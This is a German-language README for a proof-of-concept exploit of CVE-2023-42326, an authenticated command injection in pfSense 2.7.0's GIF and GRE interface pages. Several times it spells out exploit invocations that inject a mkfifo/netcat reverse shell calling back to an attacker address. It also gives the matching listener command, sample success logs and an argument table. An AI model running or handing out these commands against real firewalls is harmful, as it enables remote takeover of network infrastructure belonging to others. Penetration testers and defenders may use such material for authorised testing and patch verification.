
Dies ist ein einfacher POC, der die pfsense 2.7 Command-Injection-Schwachstelle (CVE-2023-42326) zeigt.
Dieses Python-Skript ist ein Proof-of-Concept-Exploit (PoC) für die Command-Injection-Schwachstelle (CVE-2023-42326) in pfSense 2.7.0. Die Schwachstelle erlaubt authentifizierten Angreifern, beliebige Befehle über die Komponenten interfaces_gif_edit.php und interfaces_gre_edit.php einzuschleusen und auszuführen.
gif oder gre), um die verwundbaren Komponenten auszuwählen.Stelle vor der Ausführung des Skripts sicher, dass du Folgendes hast:
pip install requests beautifulsoup4 rich
Dieser Befehl injiziert einen Shell-Befehl, der eine Reverse-Shell zu deinem Rechner aufbaut:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: Benutzername für den pfSense-Admin-Login.-p: Passwort für den pfSense-Admin-Login.--mode: Exploit-Modus (entweder gif oder gre).-t: Ziel-URL von pfSense.-c: Der einzuschleusende Shell-Befehl.-d: (Optional) Debug-Modus aktivieren, um die rohen Antwortdaten zu sehen.Stelle sicher, dass auf deinem Rechner ein Netcat-Listener läuft:
nc -lvnp 80
Führe dann das Skript mit einem Reverse-Shell-Befehl wie folgt aus:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Anmelden an pfSense und Ausnutzen der GIF-Schnittstelle

Ausführen einer Reverse-Shell

Wenn der Exploit erfolgreich ausgeführt wird, solltest du eine Ausgabe ähnlich dieser sehen:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Made with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
Wenn du weitere Details zu den gesendeten Requests sehen möchtest, kannst du den Debug-Modus aktivieren, indem du -d zu deinem Befehl hinzufügst. Dadurch werden Antwortdaten ausgegeben, was bei der Fehlersuche hilft.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d-Flag für eine detailliertere Protokollierung.| Argument | Beschreibung |
|---|
-u | Benutzername für den pfSense-Admin-Login. |
-p | Passwort für den pfSense-Admin-Login. |
-t | Ziel-pfSense-URL/IP-Adresse (z. B. http://10.101.1.1). |
--mode | Exploit-Modus: gif (für interfaces_gif_edit.php) oder gre. |
-c | Befehl, der in die verwundbare Komponente eingeschleust werden soll. |
-d | Optional. Debug-Modus aktivieren, um Antwortdaten zur Sichtbarkeit auszugeben. |